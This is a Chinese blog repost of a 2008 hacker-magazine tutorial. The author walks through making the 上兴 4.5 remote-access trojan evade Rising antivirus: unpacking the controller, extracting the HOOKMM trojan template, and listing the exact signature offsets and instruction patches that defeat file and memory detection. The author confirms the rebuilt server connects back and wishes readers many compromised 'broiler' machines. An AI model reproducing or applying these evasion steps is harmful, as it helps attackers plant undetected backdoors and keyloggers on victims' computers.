此文章已发表在《非安全 黑客手册》2008年第5期杂志上
后经作者发布在博客上,如转载请务必保留此信息!
Lupin
还有几个月就要高考了,家里的宽带撤了,只能练练破解和免杀,今天要免杀的是上兴4.5,要过的杀软是瑞星。我的思路是将上兴控制端中的木马母体文件——HOOKMM区块导出进行免杀,再导回,就可以自动生成免杀服务端。
一.脱壳
上兴的控制端是加了壳的(图1),好在ASPACK这个壳很好脱,可以用我在网上找到的脱壳机进行脱壳,也可以手动脱壳,我来说一下手动脱壳,用OD载入上兴控制端rejoice.exe,按F8直到右边的寄存器窗口中ESP和EIP同时变红时,在ESP上点右键再点击“数据窗口中跟随”,再在数据窗口点右键,依次选择“断点” “硬件访问” “字”(有的版本是WORD),然后按F9让程序运行起来,再按两次F8到达OEP,在该句代码处点右键,接着点”Dump debugged process” 在新出现的窗口中点击Dump,保存为rejoice.exe,用ResScope载入rejoice.exe,选择RCData下的HOOKMM,再用工具栏上的导出命令将其导出为HOOKMM.EXE(图2)。
二.免杀
首先,对HOOKMM.EXE定位特征码,关于如何定位特征码,我就不多说了,相信大家都会吧,如果不会的话可以翻翻以前的杂志,我直接给出我定位的瑞星特征码:
文件特征码(后面为用OC转换的内存地址):
000205a2_0000000a 004211A2
00087b11_00000004 00488711
00087bc1_00000006 004887C1
0009d8a2_00000002 0049E4A2
00099058_00000002 00499C58
内存特征码:
00498EAE _00000002
用OD载入HOOKMM.EXE,按Ctrl+G输入004211A2 点”确定”来到此处:
0042119D > \BE FFFFFF7F mov esi, 7FFFFFFF
004211A2 . EB 03 jmp short 004211A7
004211A4 > 8B75 10 mov esi, [ebp+10]
004211A7 > 85F6 test esi, esi
004211A9 . 0F8E AA000000 jle 00421259
004211AF > 3B75 F4 cmp esi, [ebp-C]
004211A7 test esi,esi,这句是一句无用的指令,我们直接改成push 0,再将004211A9 jle 00421259 这句改成jmp 00421259.
再来到00488711处:
00488710 |> \803C24 00 |cmp byte ptr [esp], 0
00488714 |. 75 73 |jnz 00488789
00488716 |. B9 A8874800 |mov ecx, 004887A8
0048871B |. B2 01 |mov dl, 1
同样定位在跳转上,将00488714 jne 00488789改成 jmp 00488789.
接着来到004887C1处:
004887C0 |. 8BD9 mov ebx, ecx
004887C2 |. 85DB test ebx, ebx
004887C4 |. 78 0A js short 004887D0
004887C6 |. C1EB 02 shr ebx, 2
同样将004887C2 test ebx,ebx 改成push 0.
接下来跳到0049E4A2这处:
0049E490 > $ 55 push ebp
0049E491 . 8BEC mov ebp, esp
0049E493 . 81C4 F0FEFFFF add esp, -110
0049E499 . B8 90E04900 mov eax, 0049E090
0049E49E . E8 6589F6FF call 00406E08
0049E4A3 . A1 F83E4A00 mov eax, [4A3EF8]
0049E4A8 . 8B00 mov eax, [eax]
0049E4AA . E8 E1CAFFFF call 0049AF90
0049E4AF . 8D85 F0FEFFFF lea eax, [ebp-110]
可以看到这段特征码在入口点附近,我们可以将入口点附近的代码修改一下,我将0049E490 push ebp 改为 pop ebp ,再将0049E493 add esp,-110 改为 sub esp,110,
再来到00499C58这处
00499C52 . 8BC3 mov eax, ebx
00499C54 . E8 9FF5F6FF call 004091F8
00499C59 . FFB5 50FCFFFF push dword ptr [ebp-3B0]
00499C5F . 68 989F4900 push 00499F98
接着向下找到空白地址,我找到的是以0049E542开始的地址,将00499C54到00499C59的代码保存在一个文本中,再选中00499C54到00499C59点右键,依次选择”二进制” “用NOP填充”,在00499C54上点右键,再点汇编,再在汇编窗口中输入jmp 0049E496,并计下用NOP填充后的下一句地址00499C5F,然后跳到0049E542并将刚才保存的00499C54到00499C59的代码依次汇编进去,并在后面加一句JMP 00499C5F,保持程序连贯,至此文件免杀完成,下面进行内存免杀,跳到00498EAE处(图3),可以看到这处特征码定位在了字符串上,我们先点右键,依次选择”复制到可执行文件” “所有修改”,在新出现的窗口中点右键选择”保存文件”,保存为HOOKMM.EXE
接下来用C32Asm以十六进制方式载入刚才保存的HOOKMM.EXE,按Ctrl+F,在类型中选”ANSI 字符串”,在”搜索”中填”键盘记录为空”再点”替换”输入”上兴免杀测试”,替换为其它字符也可以,但要注意大小要一致,最后点”全部替换”(图4),然后保存文件为HOOKMM.EXE.免杀后的文件可以通过瑞星的文件和内存检测..
三.导入
用ResScope载入脱壳后的rejoice.exe,用导入命令将免杀后的HOOKMM.EXE导入,替换原文件并保存,运行rejoice.exe顺利生成了服务端,该服务端可以通过瑞星的文件和内存检测,上线也成功了(图5,6),再多说一句HOOKMM.EXE.好像不能加壳,我试了几个壳都不行,导入后会导致控制端损坏.
至此上兴过瑞星算成功了,最后祝各位小菜在2008年肉鸡多多,鼠一鼠二,也祝我们1~314班的全体同学都能考上理想的大学.
不管怎么说,不论技术高低,这都是我的第一篇原创技术文章,文章的技术含量不高,但这毕竟是我的起点,既然选择了网络安全,就坚定的走下去,不后悔,大王说的没错,技术要运用到正当领域,不要违反法律,我坚信有一天我一定能成功.